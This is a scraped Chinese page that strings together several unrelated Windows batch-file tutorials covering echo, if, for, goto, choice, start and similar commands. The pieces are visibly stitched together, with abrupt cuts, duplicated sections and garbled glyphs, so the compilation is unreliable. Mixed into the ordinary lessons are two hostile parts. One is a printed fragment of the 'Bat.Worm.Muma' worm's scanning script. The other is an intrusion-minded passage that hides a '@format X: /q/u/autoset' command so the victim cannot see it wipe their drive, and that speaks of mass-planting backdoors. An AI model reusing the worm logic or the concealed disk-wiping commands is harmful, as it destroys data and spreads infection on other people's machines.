看雪文档-批处理教程
- 格式:pdf
- 大小:161.05 KB
- 文档页数:25
批处理基本入门(以及一些dos常用命令)本文档中的文件未写明路径的情况下,均为和bat文件所在的当前路径下。
1.echo命令和@echo一般用于打印信息,也可以讲内容输出到文件中,文件不存在则自动创建,例如echo messageTXT > test.txt。
@不现实当前语句本身,例如@echo message注意:@echo off不但关闭以后命令的回显,连echo off命令本身也不显示通常有输出内容的命令后面加> nul,就会屏蔽显示的信息。
2.rem命令和: :都是表示注释的意思。
3.pause命令暂停运行,运行显示:请按任意键继续. . .4.errorlevel命令程序返回码echo %errorlevel%。
每个命令运行结束,可以用这个命令行格式查看返回码。
用于判断刚才的命令是否执行成功,默认值为0,一般命令执行出错会设errorlevel =15.title命令设置当前窗口的标题title newTitle6.color命令设置当前窗口颜色和字体颜色color 70 第一个为背景色16进制数,第二个为前景色。
取值范围:0~F。
如果没有给定任何参数,该命令会将颜色还原到CMD.EXE 启动时的颜色7.goto命令这是个跳转命令,在批处理中允许以“:XXX”来构建一个标号,然后用GOTO XXX跳转到标号:XXX处,然后执行标号后的命令。
8.find命令搜索文件中的字符串。
基本格式:find [/i] [/n] 文件路径。
例如:find -i –n “fanfan” fanfan.txt 忽略大小写搜索fanfan.txt文件中fanfan这个字符串,并显示所在的行号。
9.type命令打印显示(查看)一个文本文件类型的文件到控制台。
例如:type fanfan.txt扩展:可以配合find命令一起使用,例如type fanfan.txt | find -i -n “fanfan”10.start命令批处理中异步调用外部程序的命令,即异步执行,不需要得到外部程序运行完毕后才能进行本程序的向下执行。
批处理教程批处理是一种用于编写一系列命令的脚本语言,它可以自动化执行一些常规的任务。
在早期的计算机系统中,批处理被广泛使用,因为它可以简化复杂的操作过程并提高工作效率。
本教程将介绍批处理的基础知识和常用命令,帮助读者快速了解和使用批处理。
一、什么是批处理批处理是一种文本文件,其中包含电脑执行的一系列命令。
它可以批量执行这些命令,而不需要用户手动输入每个命令。
批处理通常以“.bat”或“.cmd”为扩展名,并可以在命令提示符下执行。
二、批处理的基本语法批处理可以用任何文本编辑器创建,并以“.bat”或“.cmd”为后缀。
它通常由一系列命令组成,每个命令占用一行。
示例:@echo offecho Hello, World!pause以上示例中,“@echo off”是批处理中的一个特殊命令,表示不显示每个命令的执行结果。
如果不使用该命令,批处理会显示每个命令的执行过程。
“echo Hello, World!”将字符串“Hello, World!”输出到命令提示符窗口。
“pause”命令用于在执行完所有命令之后暂停批处理,直到用户按下任意键。
三、常用批处理命令1. echo:用于将文本输出到命令提示符窗口。
2. pause:暂停批处理的执行,直到用户按下任意键。
3. cd:改变当前目录。
4. dir:显示当前目录下的文件和文件夹列表。
5. copy:复制文件。
6. del:删除文件。
7. md:创建新的文件夹。
8. rd:删除文件夹。
9. rem:注释代码行,不会被批处理执行。
四、变量和运算符批处理允许使用变量和运算符来处理需要计算的值。
示例:set number=10set /A result=%number%+5echo %result%以上示例中,“set number=10”定义了一个名为“number”的变量,其值为10。
“set /A result=%number%+5”使用“/A”选项来对变量进行算术操作,将“number”的值与5相加,并将结果赋给“result”变量。
批处理命令及教程批处理⽂件(batch file)包含⼀系列 DOS命令,通常⽤于⾃动执⾏⼀些重复性任务。
⽤户只需双击批处理⽂件便可执⾏任务,⽽⽆需重复输⼊相同指令。
在Windows中善⽤批处理可以简化很多重复⼯作什么是批处理?批处理(Batch),也称批处理脚本。
批处理即对某对象进⾏批量的处理。
批处理⽂件的扩展名为bat批处理是⼀种简化的脚本语⾔,它应⽤于DOS和Windows系统中,它是由DOS或者Windows系统内嵌的命令解释器(通常是或者CMD.EXE)解释运⾏批处理类似于Unix中的Shell脚本。
批处理⽂件具有.bat或者.cmd的扩展名,其最简单的例⼦,是逐⾏书写在命令⾏中会⽤到的各种命令。
更复杂的情况,需要使⽤if,for,goto等命令控制程序的运⾏过程,如同C,Basic等中⾼级语⾔⼀样.创建批处理⽂件,或称为批处理程序,是由⼀条条的DOS命令组成的普通⽂本⽂件,可以⽤记事本直接编辑或⽤DOS命令创建,也可以⽤DOS下的⽂本编辑器Edit.exe来编辑。
在“命令提⽰”下键⼊批处理⽂件的名称,或者双击该批处理⽂件,系统就会调⽤Cmd.exe运⾏该批处理程序⼀般情况下,每条命令占据⼀⾏当然也可以将多条命令⽤特定符号(如:&、&&、|、||等)分隔后写⼊同⼀⾏中还有的情况就是像if、for等较⾼级的命令则要占据⼏⾏甚⾄⼏⼗⼏百⾏的空间。
系统在解释运⾏批处理程序时,⾸先扫描整个批处理程序,然后从第⼀⾏代码开始向下逐句执⾏所有的命令,直⾄程序结尾或遇见exit命令或出错意外退出常⽤命令echorempausecallstartgotoset符号回显屏蔽 @重定向1 >与>>重定向2 <管道符号 |转义符 ^逻辑命令符包括:&、&&、||常⽤DOS命令⽂件夹管理:cd 显⽰当前⽬录名或改变当前⽬录。
md 创建⽬录。
批处理语法大全近年来,计算机技术的快速发展使得人们对自动化处理数据的需求越来越高。
批处理作为一种常用的数据处理方式,在各个领域都有广泛的应用。
本文将为大家介绍批处理语法的基本概念和常用指令,帮助读者更好地掌握批处理的技巧与方法。
一、批处理语法简介批处理是一种将一系列命令按照预定的顺序自动执行的技术。
它可以帮助我们批量处理大量的数据或文件,提高工作效率。
下面我们来介绍一些批处理的基本语法。
1. 批处理文件的创建与运行创建批处理文件通常使用文本编辑器,如记事本等。
文件扩展名通常为.bat或.cmd。
为了运行批处理文件,我们可以直接双击文件,或者通过命令提示符运行。
2. 批处理的注释注释在批处理文件中用于解释代码的作用,对于他人阅读和代码维护非常重要。
以"::"开头的行表示注释行,系统将忽略这些行。
3. 批处理的变量批处理中的变量用于存储和操作数据。
使用"set"命令可以创建变量,使用"%变量名%"可以引用变量的值。
例如:set name=Johnecho %name%4. 批处理的控制结构控制结构用于实现条件判断和循环处理。
- if语句:根据条件结果的真假来执行不同的命令。
例如:if exist file.txt (echo 文件存在) else (echo 文件不存在)- for语句:用于循环遍历列表或文件。
例如:for %i in (1, 2, 3) do echo %i5. 批处理的输入与输出- echo命令:用于在屏幕上显示文本。
例如:echo Hello World!- pause命令:暂停批处理的执行,等待用户输入。
- 输入与输出重定向:可以将命令的输入或输出重定向到文件或设备中。
二、批处理常用指令示例下面将介绍几个批处理中常用的指令示例,帮助读者更好地理解批处理语法。
1. 批量修改文件名假设我们有一批图片文件,需要将它们的文件名从"image_001.jpg"改为"photo_001.jpg"。
批处理语法大全批处理语法是一种用于 Windows 操作系统的脚本语言,它允许用户编写批处理文件,以便批量执行命令和控制多个任务。
批处理语法的学习和应用对于进行系统管理、自动化任务和批量处理非常有用。
本文将介绍批处理语法的基本结构、常用命令以及实用技巧,以帮助读者更好地理解和应用批处理语法。
一、批处理语法基本结构1. 批处理文件的扩展名为 .bat 或 .cmd,在 Windows 中可以使用记事本等文本编辑器创建和编辑。
2. 每条批处理命令可以单独写在一行,也可以使用换行符或者 && 连接多条命令,每条命令以回车键结束,最后以 exit 命令结束。
3. 使用 @echo off 可以关闭命令提示符窗口中对每条命令的显示,以提高执行效率。
4. REM 或 :: 可以用来添加注释,对代码进行解释和说明。
5. 使用符号 % 表示变量,在批处理中可以使用 set 命令定义和使用环境变量。
6. 通过 call 命令可以调用其他批处理文件,实现代码的模块化和复用。
7. 使用 goto 命令可以实现循环和条件判断。
8. 在批处理文件中使用了错误处理,可以使用 exit /b 命令来返回错误代码,并且可以通过判断错误代码来处理错误情况。
二、常用批处理命令1. echo:用于在命令提示符窗口中显示文本或变量的值。
2. cd:用于改变当前目录。
3. dir:用于列出指定目录中的文件和子目录。
4. del:用于删除文件。
5. copy:用于复制文件。
6. move:用于移动文件。
7. start:用于启动新的窗口来运行指定的程序或命令。
8. if:用于条件判断,可以根据指定条件执行不同的命令。
9. for:用于循环执行指定的命令。
10. set:用于定义和修改环境变量的值。
三、批处理实用技巧1. 批处理文件的编写要考虑到命令的顺序和逻辑,避免产生死循环或者错误执行的情况。
2. 注意对文件路径和文件名的引号标记,避免因为空格、特殊字符等导致命令执行错误。
写批处理必备的一些命令参数使用技巧批处理是一种在Windows操作系统中用来批量处理一系列命令的脚本语言。
使用批处理可以实现自动化执行一系列操作,提高工作效率和减少重复性劳动。
以下是一些批处理中必备的命令参数使用技巧,供参考:1. echo命令echo命令用于在命令行中输出文字或变量的值。
使用echo命令时可以使用“>>”将输出内容追加到文件的末尾,或使用“>”将输出内容覆盖到文件中。
2. set命令set命令用于设置一个变量,也可以用于查看或删除已存在的变量。
例如,可以使用set命令将一个命令的输出结果赋值给一个变量,然后在后面的命令中使用该变量。
3. if命令if命令可以执行条件判断,根据不同的条件执行不同的操作。
常见的用法包括判断文件是否存在、判断变量的值等。
4. for命令for命令用于对一系列对象(如文件、变量列表等)进行循环操作。
常见的用法包括遍历目录中的文件、遍历数组等。
5. goto命令6. call命令call命令用于调用外部的命令或脚本,并在调用完成后返回到当前批处理中。
使用call命令可以将一个脚本文件拆分成多个子脚本,提高代码的复用性。
7. start命令start命令用于启动一个新的窗口来执行指定的命令或程序。
可以使用start命令来实现并行执行多个命令或程序。
8. shift命令shift命令用于移动批处理脚本中的参数位置。
使用shift命令可以在循环中逐个处理命令行参数,而不需要手动指定每个参数。
9. choice命令choice命令用于在命令行中提供多个选项供用户选择。
使用choice 命令可以实现交互式的批处理脚本。
11. setlocal和endlocal命令setlocal和endlocal命令用于创建和销毁一个局部环境变量。
使用setlocal命令可以在批处理脚本中创建一个局部环境,在其中定义的变量在脚本执行完毕后会自动销毁。
12. pushd和popd命令pushd和popd命令用于在命令行中切换当前目录。
BAT批处理文件教程Step 1: 创建批处理文件例如,我们要创建一个批处理文件来打开计算器。
我们可以在批处理文件中输入以下命令:start calc然后,将文件保存为“calculator.bat”。
Step 2: 运行批处理文件要运行批处理文件,只需双击其图标即可。
或者,您也可以通过命令提示符来运行它。
打开命令提示符,导航到批处理文件所在的目录,并输入批处理文件的名称。
在这个例子中,我们可以通过双击“calculator.bat”文件或在命令提示符中输入“calculator.bat”来运行它。
Step 3: 批处理文件的基本语法注释可以以“::”或“REM”开头。
注释是对命令的解释或描述,对程序员来说非常有用。
以下是示例批处理文件的基本语法:::这是一个注释REM这也是一个注释Step 4: 批处理命令和指令批处理文件支持许多命令和指令,可以执行各种操作,例如文件处理、系统配置和调用其他程序等。
以下是一些常用的批处理命令和指令的示例:- echo:打印消息或文本到命令提示符。
- set:设置变量的值。
- if:根据指定条件执行命令。
- for:在循环中执行命令。
- copy:复制文件或目录。
- move:移动文件或目录。
- del:删除文件或目录。
- start:启动应用程序或打开文件。
Step 5: 批处理文件的实例让我们通过一个简单的实例来进一步了解批处理文件的使用。
假设我们想要创建一个批处理文件来备份我们的重要文件。
我们可以编写以下的批处理代码:REM设置备份路径set backup_path=C:\BackupREM检查备份路径是否存在,如果不存在则创建if not exist %backup_path%mkdir %backup_path%REM备份文件copy C:\Documents\file1.txt %backup_path%copy C:\Documents\file2.txt %backup_path%echo 文件备份完成在这个批处理文件中,我们首先设置了一个备份路径,然后使用“if”命令检查该路径是否存在,如果不存在则创建。
批处理经典入门教程!(从不懂到高手)第3/5页二:START.BAT:CALL MUMA.BATSET IPA=192.168CALL 10.BAT 0:NEARAGAINnetstat -n|find ":" >A.TMPFOR /F "tokens=7,8,9,10,12 delims=.: " %%I IN (A.TMP) DO SET NUM1=%%I&& SET NUM2=%%J&& SET NUM3=%%K&& SETNUM4=%%L&& SET NUM5=%%M&& CALL NEAR.BAT:STARTCALL RANDOM.BATIF "%NUM1%"=="255" GOTO NEARAGAINIF "%NUM1%"=="192" GOTO NEARAGAINIF "%NUM1%"=="127" GOTO NEARAGAINIF "%NUM2%"=="255" GOTO NEARAGAINIF "%NUM3%"=="255" GOTO NEARAGAINIF "%NUM4%"=="255" GOTO NEARAGAINSET IPA=%NUM1%.%NUM2%ECHO START > A.LOGPING %IPA%.%NUM3%.1>B.TMPPING %IPA%.%NUM3%.%NUM4%>>B.TMPFIND /C /I "from" B.TMPIF ERRORLEVEL 1 GOTO STARTCALL 10.BAT %NUM3%DEL A.LOGGOTO START这是Bat.Worm.Muma病毒的起始脚本,设置了病毒运行的环境变量。
批处理BAT命令教程批处理(Batch)是一种在Windows操作系统下执行批量命令的脚本编程语言。
通过批处理,用户可以一次性执行多个命令,并且可以自动化执行这些命令,提高了工作效率。
本文将为大家介绍一些常用的BAT命令,以帮助初学者快速上手。
1. echo命令:用于在屏幕上显示文本。
语法:echo 文本内容。
例如:echo Hello World2. cls命令:用于清屏。
语法:cls3. cd命令:用于切换目录。
语法:cd 目录路径。
例如:cdC:\Windows4. dir命令:用于列出当前目录下的文件和子目录。
语法:dir5. md命令:用于创建新的目录。
语法:md 目录名。
例如:md NewFolder6. rd命令:用于删除目录。
语法:rd 目录名。
例如:rd NewFolder7. copy命令:用于复制文件。
语法:copy 源文件目标文件。
例如:copy file1.txt file2.txt8. del命令:用于删除文件。
语法:del 文件名。
例如:delfile.txt9. ren命令:用于重命名文件。
语法:ren 原文件名新文件名。
例如:ren file1.txt file2.txt10. move命令:用于移动文件或文件夹。
语法:move 源文件(夹)目标路径。
例如:move file.txt C:\NewFolder11. start命令:用于启动新的程序窗口。
语法:start 程序名。
例如:start notepad.exe12. pause命令:用于暂停批处理的执行。
语法:pause13. if命令:用于条件判断。
语法:if 条件命令。
例如:if exist file.txt echo 文件存在14. for命令:用于循环执行命令。
语法:for 变量 in (列表) 命令。
例如:for %%a in (1 2 3) do echo %%a15. set命令:用于设置和显示环境变量。
批处理经典⼊门教程!(从不懂到⾼⼿)第15页补充说明:批处理相对来说是⽐较简单的语⾔,⼤家可以通过多写多看别⼈的实例来学习,不懂的百度⼀下。
这是⼀篇技术教程,真⼼诚意会⽤很简单的⽂字表达清楚⾃⼰的意思,只要你识字就能看懂,就能学到知识。
写这篇教程的⽬的,是让每⼀个看过这些⽂字的朋友记住⼀句话:如果爱可以让事情变的更简单,那么就让它简单吧!看这篇教程的⽅法,就是慢!慢慢的,如同品⼀个⼥⼈、⼀杯茗茶,你会发现很多以前就在眼前的东西突然变的很遥远,⽽有些很遥远的东西却⼜突然回到了眼前。
.先概述⼀下批处理是个什么东东。
批处理的定义,⾄今我也没能给出⼀个合适的----众多⾼⼿们也都没给出----反正我不知道----看了我也不⼀定信服----我是个菜鸟,当然就更不⽤说了;但我想总结出⼀个“⽐较合适的”,⽽且我也相信⾃⼰可以把它解释的很清楚,让更多的菜鸟都知道这是个什么东东,你⽤这个东东可以⼲什么事情。
或许你会因为这篇⽂章⽽“⽆条件爱上批处理”,那么我的⽬的就达到了----我就是要让你爱上它,我就这么拽,你能怎么着??真的,爱有时候就这么拽,就是这么没理由,就是这么不要脸!真的!按照我的理解,批处理的本质,是⼀堆DOS命令按⼀定顺序排列⽽形成的集合。
OK,never claver and get to business(闲话少说⾔归正传)。
批处理,也称为批处理脚本,英⽂译为BATCH,批处理⽂件后缀BAT就取的前三个字母。
它的构成没有固定格式,只要遵守以下这条就ok了:每⼀⾏可视为⼀个命令,每个命令⾥可以含多条⼦命令,从第⼀⾏开始执⾏,直到最后⼀⾏结束,它运⾏的平台是DOS。
批处理有⼀个很鲜明的特点:使⽤⽅便、灵活,功能强⼤,⾃动化程度⾼。
我不想让⾃⼰写的教程枯燥⽆味,因为牵缠到代码(批处理的内容算是代码吧?)的问题本来就是枯燥的,很少有⼈能⾯对满屏幕的代码⽽静下⼼来。
所以我会⽤很多简单实⽤的例⼦让读这篇教程的朋友去体会批处理的那四射的魅⼒,感受它那古灵精怪的性格,不知不觉中爱上批处理(晕,怎么⼜是爱?到底批处理和爱有什么关系?答案:没有!)。
批处理详细教程命令if 表示将判断是否符合规定的条件,从而决定执行不同的命令。
有三种格式:1、if "参数" == "字符串" 待执行的命令参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。
(注意是两个等号)如if "%1"=="a" format a:if {%1}=={} goto noparmsif {%2}=={} goto noparms2、if exist 文件名待执行的命令如果有指定的文件,则条件成立,运行命令,否则运行下一句。
如if exist config.sys edit config.sys3、if errorlevel / if not errorlevel 数字待执行的命令如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。
如if errorlevel 2 goto x2DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码,常见的返回码为0、1。
10.for 命令for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。
在批处理文件中使用FOR 命令时,指定变量请使用%%variablefor {%variable|%%variable} in (set) do command [ CommandLineOptions]%variable 指定一个单一字母可替换的参数。
(set) 指定一个或一组文件。
可以使用通配符。
command 指定对每个文件执行的命令。
command-parameters 为特定命令指定参数或命令行开关。
在批处理文件中使用FOR 命令时,指定变量请使用%%variable而不要用%variable。
变量名称是区分大小写的,所以%i 不同于%I如果命令扩展名被启用,下列额外的FOR 命令格式会受到支持:FOR /D %variable IN (set) DO command [command-parameters]如果集中包含通配符,则指定与目录名匹配,而不与文件名匹配。
批处理运行多个程序的方法批处理是一种在计算机中运行多个程序的方法,尤其在早期的计算机系统中经常使用。
它可以以自动化的方式按照预定的顺序运行一系列的程序或者命令。
在批处理中,我们可以利用一些特定的命令和语法来编写批处理脚本,然后通过运行该脚本来执行一系列的操作。
在本文中,我将介绍一些常用的批处理运行多个程序的方法。
具体来说,我将分为以下几个方面进行讨论:1.批处理命令的基本知识2.运行顺序和条件控制3.传递参数和处理结果4.执行和管理其他程序1.批处理命令的基本知识- `echo`:显示一条消息或者变量的值- `set`:设置一个环境变量- `if`:执行条件判断- `for`:执行循环操作- `call`:调用一个已定义的批处理子程序2.运行顺序和条件控制此外,我们还可以使用`if`命令来执行条件判断,根据不同的条件来选择性地执行特定的程序或者命令。
例如,可以根据操作系统的版本或者计算机的配置来选择性地安装不同的程序。
3.传递参数和处理结果批处理脚本还可以接受命令行参数,并且可以将命令行参数传递给其他程序。
这样就可以方便地根据不同的要求来执行不同的程序。
同时,也可以通过`%ERRORLEVEL%`来获取其他程序的执行结果,并根据结果来做进一步的处理。
4.执行和管理其他程序在批处理中,我们可以使用`start`命令来执行其他程序。
这样可以同时启动多个程序,并充分利用计算机的资源。
同时,还可以使用`tasklist`和`taskkill`命令来列出和终止正在运行的程序,以便于管理和监控程序的运行情况。
总结:通过批处理,我们可以自动化地运行多个程序或者命令,并根据需要来控制程序的执行顺序和条件。
同时,还可以传递参数和处理结果,并且可以执行和管理其他程序。
批处理为我们提供了一种易于操作的方式,可以节省时间和精力。
当然,批处理也有一些局限性。
例如,批处理脚本通常只能在Windows系统下运行,而且一般只适用于一系列简单的操作。
Linux命令行技巧如何批量处理文本文件在Linux系统中,命令行界面是非常强大和灵活的,能够帮助我们高效地处理文本文件。
在本文中,我将分享一些Linux命令行的技巧,帮助您批量处理文本文件。
1. 文本文件的批量处理使用Linux的命令行界面,您可以方便地进行文本文件的批量处理。
可以使用通配符来选择多个文件,然后对它们进行相同的操作。
例如,要将多个文本文件合并到一个文件中,可以使用cat命令:```bashcat file1.txt file2.txt > merged.txt```此命令将file1.txt和file2.txt的内容合并到merged.txt中。
2. 文本内容的查找和替换使用Linux的命令行界面,您可以轻松地查找和替换文本文件中的内容。
使用grep命令可以查找包含特定关键词的行:```bashgrep "keyword" file.txt```此命令将显示包含"keyword"的行。
要替换文本文件中的内容,可以使用sed命令。
以下是一个示例:```bashsed 's/old_text/new_text/g' file.txt```此命令将在file.txt中将所有的"old_text"替换为"new_text"。
3. 文本文件的排序和去重利用sort命令可以对文本文件进行排序。
例如,要对文件进行按照字母顺序排序,您可以使用以下命令:```bashsort file.txt```此命令将对file.txt的内容按照字母顺序进行排序。
如果要对文本文件进行去重操作,可以使用uniq命令。
以下是一个示例:```bashuniq file.txt```此命令将删除file.txt中的重复行。
4. 文本文件的统计信息使用Linux的命令行界面,您可以方便地获取文本文件的统计信息。
使用wc命令可以计算行数、字数和字符数。
第一节(批处理基础)各位非常批处理的朋友们,现在我们开始学习批处理新手系列教学的第一课!(适合没有编程经验的朋友)按照惯例,先讲一下什么是"批处理".顾名思义,批处理就是把一批或者说是一条条命令放在一个文本里,然后批量执行!执行这一批命令的文件的扩展名是或者,把任何一批命令放入在有这样扩展名的文件里,执行时里面的命令就会一条条的执行完,当然我们还可以在其中加入一些逻辑判断的语句,让里面的命令在满足一定条件时执行指定的命令.了解了大概意思后,我们正式开始学习.先看一个简单的例子!"欢迎来到非常!"把上面的条命令保存为或者然后执行,他就会在屏幕上显示二行话:"欢迎来到非常!请按任意键继续. . ."这就是一个简单批处理文件了,我们来分析一下.这个批处理文件一共就用了条命令 "" 和"" 还有一个特殊符号""符号在批处理中的作用是关闭当前行命令的回显,也就是不显示执行的是什么命令,只显示命令的结果!你可以执行下面这个批处理文件来理解,保存为*或者*你好你好命令的作用有两个,一个是在上回显一行内容.如 "欢迎来到非常!",还一个是关闭命令的回显的作用就相当于在每条命令前面加一个符号,这样所有的命令将只会显示结果不显示命令.我们在这命令前加一个符号是为了不让这条命令本身显示出来,让批处理更完美!命令就是暂停的意思,防止批处理执行完后直接退出!执行命令后会自动在里显示"请按任意键继续. . ."这样一行话!从上面这个简单的批处理中,我们可以发现其实批处理就是运用一些含有特殊意义的符号和一些完成指定功能的命令组合而成,那么在批处理中有多少这样的特殊符号和功能命令呢?我们现在就来仔细了解一下一些最常用的! (以下内容来源网络,请各位仔细阅读,好进入下节的实例说明)批处理的常见命令还有(,,)这几个命令比较难,不适合写在基础篇,以后说明!批处理定义:顾名思义,批处理文件是将一系列命令按一定的顺序集合为一个可执行的文本文件,其扩展名为。
用批处理命令把一些特殊的文件按扩展名分类写到一份文件里。
高中时代我最初接触到的就是DOS时代,我曾经也研究过批处理命令,但当时学得也不是很好,后来也看过一些过这方面的文章,但也没有进一步深入研究。
基本上google,baidu上找不出来任何资料。
今天又google,baidur查了一下,发现了好几篇文章(不过模板好像都是基于同一篇文章《简明批处理教程》,还是很少的,不过已经够用了哈。
原作出处已经找不到了,不过还是想转贴一下,实在是好东西,与公与私都要介绍一下:批处理文件是无格式的文本文件,它包含一条或多条命令。
它的文件扩展名为 .bat 或 .cmd。
在命令提示下键入批处理文件的名称,或者双击该批处理文件,系统就会调用Cmd.exe按照该文件中各个命令出现的顺序来逐个运行它们。
使用批处理文件(也被称为批处理程序或脚本),可以简化日常或重复性任务。
当然我们的这个版本的主要内容是介绍批处理在入侵中一些实际运用,例如我们后面要提到的用批处理文件来给系统打补丁、批量植入后门程序等。
下面就开始我们批处理学习之旅吧。
一.简单批处理内部命令简介1.Echo 命令打开回显或关闭请求回显功能,或显示消息。
如果没有任何参数,echo 命令将显示当前回显设置。
语法echo [{on|off}] [message]Sample:@echo off / echo hello world在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用> >> ^)结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。
2.@ 命令表示不显示@后面的命令,在入侵过程中(例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使用的命令啦。
Sample:@echo off@echo Now initializing the program,please wait a minite...@format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的。
)3.Goto 命令指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。
语法:goto label (label是参数,指定所要转向的批处理程序中的行。
)Sample:if {%1}=={} goto noparmsif {%2}=={} goto noparms(如果这里的if、%1、%2你不明白的话,先跳过去,后面会有详细的解释。
)@Rem check parameters if null show usage:noparmsecho Usage: monitor.bat ServerIP PortNumbergoto end标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签,goto命令就是根据这个:来寻找下一步跳到到那里。
最好有一些说明这样你别人看起来才会理解你的意图啊。
4.Rem 命令注释命令,在C语言中相当与/*--------*/,它并不会被执行,只是起一个注释的作用,便于别人阅读和你自己日后修改。
Rem MessageSample:@Rem Here is the description.5.Pause 命令运行 Pause 命令时,将显示下面的消息:Press any key to continue . . .Sample:@echo off:begincopy a:*.* d:\backecho Please put a new disk into driver Apausegoto begin在这个例子中,驱动器 A 中磁盘上的所有文件均复制到d:\back 中。
显示的注释提示您将另一张磁盘放入驱动器 A 时,pause 命令会使程序挂起,以便您更换磁盘,然后按任意键继续处理。
6.Call 命令从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。
call 命令接受用作调用目标的标签。
如果在脚本或批处理文件外使用 Call,它将不会在命令行起作用。
语法call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]参数[Drive:}[Path] FileName指定要调用的批处理程序的位置和名称。
filename 参数必须具有 .bat 或 .cmd 扩展名。
7.start 命令调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用。
入侵常用参数:MIN 开始时窗口最小化SEPARATE 在分开的空间内开始 16 位 Windows 程序HIGH 在 HIGH 优先级类别开始应用程序REALTIME 在 REALTIME 优先级类别开始应用程序WAIT 启动应用程序并等候它结束parameters 这些为传送到命令/程序的参数执行的应用程序是 32-位 GUI 应用程序时,CMD.EXE 不等应用程序终止就返回命令提示。
如果在命令脚本内执行,该新行为则不会发生。
8.choice 命令choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。
使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。
它的返回码为1234……如: choice /c:dme defrag,mem,end将显示defrag,mem,end[D,M,E]?Sample:Sample.bat的内容如下:@echo offchoice /c:dme defrag,mem,endif errorlevel 3 goto defrag (应先判断数值最高的错误码)if errorlevel 2 goto memif errotlevel 1 goto end:defragc:\dos\defraggoto end:memmemgoto end:endecho good bye此文件运行后,将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ,然后if语句将作出判断,d表示执行标号为defrag的程序段,m 表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,文件结束。
9.If 命令if 表示将判断是否符合规定的条件,从而决定执行不同的命令。
有三种格式:1、if "参数" == "字符串" 待执行的命令参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。
(注意是两个等号)如if "%1"=="a" format a:if {%1}=={} goto noparmsif {%2}=={} goto noparms2、if exist 文件名 待执行的命令如果有指定的文件,则条件成立,运行命令,否则运行下一句。
如if exist config.sys edit config.sys3、if errorlevel / if not errorlevel 数字 待执行的命令如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。
如if errorlevel 2 goto x2DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码,常见的返回码为0、1。
10.for 命令for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。
在批处理文件中使用 FOR 命令时,指定变量请使用%%variablefor {%variable|%%variable} in (set) do command [ CommandLineOptions]%variable 指定一个单一字母可替换的参数。
(set) 指定一个或一组文件。
可以使用通配符。
command 指定对每个文件执行的命令。
command-parameters 为特定命令指定参数或命令行开关。
在批处理文件中使用 FOR 命令时,指定变量请使用%%variable而不要用 %variable。
变量名称是区分大小写的,所以 %i 不同于 %I如果命令扩展名被启用,下列额外的 FOR 命令格式会受到支持:FOR /D %variable IN (set) DO command [command-parameters]如果集中包含通配符,则指定与目录名匹配,而不与文件名匹配。
FOR /R [[drive:]path] %variable IN (set) DO command [command- 检查以 [drive:]path 为根的目录树,指向每个目录中的FOR 语句。
如果在 /R 后没有指定目录,则使用当前目录。
如果集仅为一个单点(.)字符,则枚举该目录树。
FOR /L %variable IN (start,step,end) DO command [command-para 该集表示以增量形式从开始到结束的一个数字序列。
因此,(1,1,5) 将产生序列1 2 3 4 5,(5,-1,1) 将产生序列(5 4 3 2 1)。
FOR /F ["options"] %variable IN (file-set) DO commandFOR /F ["options"] %variable IN ("string") DO commandFOR /F ["options"] %variable IN ('command') DO command或者,如果有 usebackq 选项:FOR /F ["options"] %variable IN (file-set) DO commandFOR /F ["options"] %variable IN ("string") DO commandFOR /F ["options"] %variable IN ('command') DO commandfilenameset 为一个或多个文件名。
继续到 filenameset 中的下一个文件之前,每份文件都已被打开、读取并经过处理。
处理包括读取文件,将其分成一行行的文字,然后将每行解析成零或更多的符号。
然后用已找到的符号字符串变量值调用 For 循环。
以默认方式,/F 通过每个文件的每一行中分开的第一个空白符号。